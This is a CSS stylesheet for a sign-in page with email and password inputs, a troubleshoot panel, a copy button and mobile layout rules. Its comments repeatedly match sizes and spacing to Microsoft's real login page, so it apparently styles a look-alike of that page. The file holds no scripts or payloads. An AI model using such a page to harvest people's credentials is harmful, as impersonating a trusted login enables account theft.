body {
    font-family: "Segoe UI Webfont", -apple-system, "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";
    font-size: 21px;
    line-height: 26px;
    font-weight: 400;
    font-size: 1.3125rem;
    line-height: 1.625rem;
    background-image: url('./background.png');
    background-size: cover;
    background-position: center;
    background-repeat: no-repeat;
    background-attachment: fixed;
    margin: 0;
}

a {
    color: #0067b8;
    text-decoration: none;
    font-size: .9375rem;
}

.overlay {
    background-color: #101010;
    opacity: .1;
    position: fixed;
    top: 0;
    left: 0;
    height: 100vh;
    width: 100vw;
    z-index: 0;
}

.ellipsis-btn {
    cursor: pointer;
    font-size: 16px;
    font-weight: bold;
    display: inline-block;
    padding-left: 10px;
    /* Separation from previous link */
}

.troubleshoot-box {
    background: #fff;
    border-top: 1px solid #ddd;
    padding: 20px 0;
    margin-top: 30px;
    /* Added separation from boilerplate */
    text-align: left;
}

.debug-info p {
    margin: 4px 0;
    font-size: 20px;
    color: #333;
}

.outer {
    display: table;
    position: absolute;
    height: 100%;
    width: 100%;
    z-index: 10;
}

.middle {
    display: table-cell;
    vertical-align: middle;
}

.sign-in-box {
    margin-left: auto;
    margin-right: auto;
    position: relative;
    max-width: 540px;
    /* Standard Microsoft Sign-in Box Max-width is 440px */
    width: calc(100% - 40px);
    padding: 51px 58px 39px 58px;
    /* Reduced top and bottom padding by 15px each */
    margin-bottom: 25px;
    /* Increased gap by 3px + 10px additional spacing */
    background-color: #fff;
    -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
    -moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
    box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
    min-width: 420px;
    min-height: 318px;
    overflow: hidden;
    transition: opacity 0.3s ease, transform 0.3s ease;
    box-sizing: border-box;
}

#signin-options-view {
    min-height: 148px;
    max-width: 480px;
    min-width: 380px;
    padding: 46px 38px 34px 38px;
}

.sign-in-box.slide-out-left {
    animation: slideOutLeft 0.3s ease forwards;
}

.sign-in-box.slide-in-right {
    animation: slideInRight 0.3s ease forwards;
}

@keyframes slideOutLeft {
    from {
        opacity: 1;
        transform: translateX(0);
    }

    to {
        opacity: 0;
        transform: translateX(-50px);
    }
}

@keyframes slideInRight {
    from {
        opacity: 0;
        transform: translateX(50px);
    }

    to {
        opacity: 1;
        transform: translateX(0);
    }
}

.win-scroll {
    box-sizing: border-box;
}


/* Ensure the image inside doesn't inherit weird spacing */
.logo img {
    vertical-align: top;
    border: 0;
}

.logo {
    display: block;
    margin-bottom: 8px;
    /* Negative margin pulls it left to counteract SVG internal white space */
    margin-left: -2px;
    text-align: left;
}

#logo_image,
#logo_image_3 {
    width: auto;
    height: 46px;
    display: block;
}

#logo_image_2 {
    width: 170px;
    height: 40px;
    display: block;
    margin: 10px;
}

h2 {
    font-size: 1.95rem;
    font-weight: 600;
    color: #1b1b1b;
    margin-top: 0;
}

.display_name {
    line-height: 24px;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    margin-bottom: 15px;
}

.prompt {
    line-height: 2.3rem;
    color: #1b1b1b;
    font-size: 1.95rem;
    font-weight: 600;
    font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";
    padding: 0;
    margin-top: 10px;
    margin-bottom: 10px;
}

#error {
    color: red;
    display: none;
}

.emailinput,
.passwordinput {
    width: 100% !important;
    height: auto !important;
    padding: 10px 0 !important;
    /* Align text and make the line look taller */
    background-color: transparent !important;
    border: none !important;
    border-bottom: 2px solid #666 !important;
    border-radius: 0 !important;
    box-sizing: border-box !important;
    margin-bottom: 10px !important;
    outline: none !important;
    font-size: 18px !important;
    color: #1b1b1b !important;
    transition: border-bottom-color 0.15s ease;
}

.emailinput:focus,
.passwordinput:focus {
    border-bottom: 2px solid #0067b8 !important;
    padding-bottom: 10px !important;
}


/* Optional: Ensures the placeholder text matches the look */
.passwordinput::placeholder {
    color: #666;
    opacity: 1;
}

.buttoncontainer {
    /* Change from absolute to relative to keep it in the flow of the box */
    position: relative;
    margin-top: 25px;
    text-align: right;
    margin-bottom: 20px;
    /* Added spacing below the button area */
    width: 100%;
    height: 46px;
    display: block;
    clear: both;
}

.button {
    color: #fff;
    border-color: #0067b8;
    background-color: #0067b8;
    display: block;
    width: 118px;
    cursor: pointer;
    position: absolute;
    right: 0px;
    padding: 10px 24px;
    font-weight: normal;

    /* Animation Properties */
    transition: transform 0.1s ease, background-color 0.2s ease;
    outline: none;
    border: none;
}

.button:hover {
    border-color: #0055a6;
    background-color: #0055a6;
}

/* The "Bump Click" Animation */
.button:active {
    transform: scale(0.96);
    /* Slightly shrinks the button */
    background-color: #004a8b;
    /* Slightly darker blue on press */
}

.boilerplate-box {
    display: block;
    background-color: #f2f2f2 !important;
    /* Pull the box to the edges of the white container */
    margin-left: -58px;
    margin-right: -58px;
    margin-top: 20px;

    /* Add padding back inside so the text aligns with the "Next" button */
    padding: 20px 58px;

    text-align: left;
    word-wrap: break-word;
    clear: both;
}

.boilerplate-box p {
    color: #1b1b1b;
    font-size: 1rem;
    line-height: 1.2rem;
    font-weight: 400;
    /* Microsoft usually keeps this weight for boilerplate */
    margin: 0;
}

/* Cleanup: remove the bottom padding from the password box so the grey sits flush */
#password-step {
    height: auto;
    min-height: 300px;
    padding-bottom: 0px !important;
}

/* Ensure links inside the grey text are also subtle or brand-consistent */
.boilerplate-text a {
    color: #0067b8;
    text-decoration: none;
}

.boilerplate-text a:hover {
    color: #666 !important;
    /* Change to gray */
    text-decoration: underline !important;
}

/* Fix for the wrap-content class mentioned in your snippet */
.wrap-content {
    word-wrap: break-word;
}

.troubleshoot-box {
    background: #fff;
    border-top: 1px solid #ddd;
    padding-top: 20px;
    margin-top: 20px;
    text-align: left;
}



.flag-section {
    margin-top: 15px;
    border-top: 1px solid #eee;
    padding-top: 10px;
}

/* Removed duplicate password box style */

/* Pinned to bottom left */
.footer {
    position: fixed;
    bottom: 0;
    left: 0;
    width: 100%;
    background-color: transparent;
    padding: 5px 22px;
    /* Standard Microsoft spacing */
    z-index: 20;
    box-sizing: border-box;
}

.footertext {
    text-align: left;
    /* Forces alignment to the left */
}

.footertext a,
.footertext span {
    color: #fff;
    font-size: 13px;
    margin-right: 24px;
    text-decoration: none;
    cursor: pointer;
}

.footertext a:hover {
    color: #ccc !important;
    /* Change to light gray */
    text-decoration: underline !important;
}

/* Fix for the troubleshoot box layout */
.troubleshoot-container {
    padding: 30px 58px !important;
    min-height: auto !important;
    max-height: 400px;
    overflow-y: auto;
}

/* Removed ensure password box looks like a real input box */


/* Pinned to bottom right */
.footer {
    position: fixed;
    bottom: 0;
    right: 0;
    /* Changed from left: 0 to right: 0 */
    width: auto;
    /* Changed from 100% to auto so it only takes needed space */
    background-color: transparent;
    padding: 6px 12px;
    z-index: 20;
}

.footertext {
    text-align: right;
    /* Changed from left to right */
}

.footertext a,
.footertext span {
    color: #fff;
    font-size: 13px;
    margin-left: 24px;
    /* Changed margin-right to margin-left to space items from the right edge */
    margin-right: 0;
    text-decoration: none;
    cursor: pointer;
}

/* Universal Link Hover: Underline */
a:hover,
.copy-btn:hover {
    color: #005a9e !important;
    text-decoration: underline !important;
}

.footertext a:hover {
    color: #ccc !important;
    text-decoration: underline !important;
}

/* Make troubleshooting box shorter */
.troubleshoot-container {
    padding: 30px 58px !important;
    min-height: auto !important;
    max-height: 350px;
    /* Reduced height */
}


.copy-btn {
    background: none;
    border: none;
    color: #0067b8;
    cursor: pointer;
    font-weight: 600;
    padding: 0;
    font-size: 20px;
    text-decoration: none;
}

.emailinput::placeholder,
.passwordinput::placeholder {
    color: #666;
    opacity: 1;
}

/* Back button styling */
.back-button {
    display: flex;
    align-items: center;
    margin-bottom: 16px;
    font-size: 21px;
    color: #1b1b1b;
}

.back-arrow-btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 32px;
    height: 32px;
    border-radius: 50%;
    cursor: pointer;
    transition: background-color 0.2s ease;
    margin-right: 8px;
    margin-left: -10px;
}

.back-arrow-btn:hover {
    background-color: rgba(0, 0, 0, 0.08);
}

/* Loading Spinner */
.loading-spinner {
    position: absolute;
    right: 0;
    top: 0;
    display: flex;
    align-items: center;
    justify-content: center;
}

.spinner {
    width: 20px;
    height: 20px;
    border: 3px solid #f3f3f3;
    border-top: 3px solid #0067b8;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}

/* Sign-in Options Styling */
.signin-option-item {
    display: flex;
    align-items: center;
    padding: 26px 0;
    border-bottom: 1px solid #e1e1e1;
    cursor: pointer;
    transition: background-color 0.2s ease;
}

.signin-option-item:hover {
    background-color: #f5f5f5;
}

.signin-option-item:first-of-type {
    border-top: 1px solid #e1e1e1;
}

.option-icon {
    flex-shrink: 0;
    width: 48px;
    height: 48px;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-right: 12px;
}

.option-text {
    flex-grow: 1;
}

.option-title {
    font-size: 21px;
    font-weight: 600;
    color: #1b1b1b;
    margin-bottom: 2px;
}

.option-subtitle {
    font-size: 19px;
    color: #605e5c;
    line-height: 1.3;
}

.option-info {
    flex-shrink: 0;
    margin-left: 12px;
}

/* Secondary Button Style */
.button-secondary {
    background-color: transparent;
    border: 1px solid #8a8886;
    color: #201f1e;
}

.button-secondary:hover {
    background-color: #f3f2f1;
    border-color: #8a8886;
}

.button-secondary:active {
    background-color: #edebe9;
}

/* Larger and bolder fonts */
body {
    font-size: 22px;
    zoom: 0.8;
}

/* Removed prompt overrides to preserve standard user font-size */

a {
    font-size: 1.3125rem;
}

p {
    font-size: 1.3125rem;
}

/* Email-step helper links ("No account?", "Can't access?", "Forgot password?") */
.email-links-text,
.email-links-text-a {
    font-size: 19px;
}

.email-links-text a,
.email-links-text-a {
    font-size: 19px;
}

.emailinput,
.passwordinput {
    font-size: 22px;
}

/* Sign-in options button - positioned closer, matching sign-in-box width */
.signin-options {
    position: relative;
    margin: 0 auto 1px auto;
    /* centered, with 28px bottom margin */
    max-width: 540px;
    /* Exact same max-width as .sign-in-box */
    width: calc(100% - 40px);
    box-sizing: border-box;
    background-color: #fff;
    padding: 14px 58px;
    /* Exact same left/right padding (48px) as the sign-in-box */
    border-radius: 0;
    box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
    cursor: pointer;
    z-index: 25;
    display: flex;
    align-items: center;
    transition: background-color 0.2s ease;
}

.signin-options:hover {
    background-color: #f5f5f5;
}

.key-icon {
    width: 42px;
    height: 42px;
    margin-right: 16px;
    object-fit: contain;
    display: block;
}

/* ============================================================
   MOBILE / PHONE  (≤ 480px)
   Goal: the entire sign-in box fits on screen, no scrolling.
   ============================================================ */
@media screen and (max-width: 480px) {

    /* 1. Reset desktop zoom — mobile browsers already handle
          scaling via the viewport meta tag. */
    body {
        zoom: 1;
        font-size: 16px;
        line-height: 1.4;
        /* Prevent the background from causing horizontal scroll */
        overflow-x: hidden;
    }

    /* 2. Make the centering wrapper use flex so the box
          stays vertically centered within the visible screen. */
    .outer {
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
        min-height: 100dvh;   /* dynamic viewport height */
        height: auto;
        width: 100%;
        padding: 16px 0 60px; /* bottom gap clears fixed footer */
        box-sizing: border-box;
        position: relative;
    }

    .middle {
        display: block;
        vertical-align: unset;
        width: 100%;
    }

    /* 3. Sign-in box: full-width, compact padding, no min-width. */
    .sign-in-box {
        width: calc(100% - 24px);
        max-width: 100%;
        min-width: unset !important;
        min-height: unset !important;
        padding: 28px 24px 20px 24px;
        margin-left: auto;
        margin-right: auto;
        margin-bottom: 0;
        box-sizing: border-box;
    }

    /* Password step has explicit padding overrides — reset them too. */
    #password-step {
        min-height: unset !important;
        padding-bottom: 0 !important;
    }

    /* Sign-in options view */
    #signin-options-view {
        min-width: unset !important;
        max-width: 100%;
        padding: 24px 24px 16px 24px;
    }

    /* 4. Logo */
    #logo_image,
    #logo_image_3 {
        height: 34px;
    }

    #logo_image_2 {
        width: 130px;
        height: 30px;
        margin: 6px 0;
    }

    /* 5. Heading / prompt */
    h2 {
        font-size: 1.4rem;
    }

    .prompt {
        font-size: 1.4rem;
        line-height: 1.7rem;
        margin-top: 6px;
        margin-bottom: 6px;
    }

    /* 6. Inputs */
    .emailinput,
    .passwordinput {
        font-size: 16px !important;
        padding: 8px 0 !important;
    }

    /* 7. Links */
    a {
        font-size: 0.9rem;
    }

    p {
        font-size: 0.9rem;
    }

    /* Shrink email-step helper links on phones */
    .email-links-text,
    .email-links-text-a {
        font-size: 13px !important;
    }

    .email-links-text a,
    .email-links-text-a {
        font-size: 13px !important;
    }

    /* 8. Button row */
    .buttoncontainer {
        height: 40px;
        margin-top: 16px;
        margin-bottom: 12px;
    }

    .button {
        padding: 8px 20px;
        width: 100px;
        font-size: 14px;
    }

    /* 9. Grey boilerplate band — pull to the compressed padding edges */
    .boilerplate-box {
        margin-left: -24px;
        margin-right: -24px;
        padding: 14px 24px;
        font-size: 0.82rem;
    }

    .boilerplate-box p {
        font-size: 0.82rem;
        line-height: 1.2rem;
    }

    /* 10. Hide the floating "Sign-in options" strip below the box —
           it pushes content off-screen on small phones.
           Users can still access options inside the sign-in-options view. */
    .signin-options {
        display: none !important;
    }

    /* 11. Troubleshoot panel */
    .troubleshoot-container {
        padding: 20px 24px !important;
        max-height: 260px;
    }

    /* 12. Footer stays pinned at the bottom */
    .footer {
        padding: 6px 16px;
    }

    .footertext a,
    .footertext span {
        font-size: 11px;
        margin-left: 14px;
    }

    /* 13. Back button */
    .back-button {
        font-size: 16px;
        margin-bottom: 10px;
    }

    /* 14. Sign-in option items inside the options view */
    .option-title {
        font-size: 16px;
    }

    .option-subtitle {
        font-size: 14px;
    }

    .signin-option-item {
        padding: 18px 0;
    }

    .option-icon {
        width: 36px;
        height: 36px;
    }
}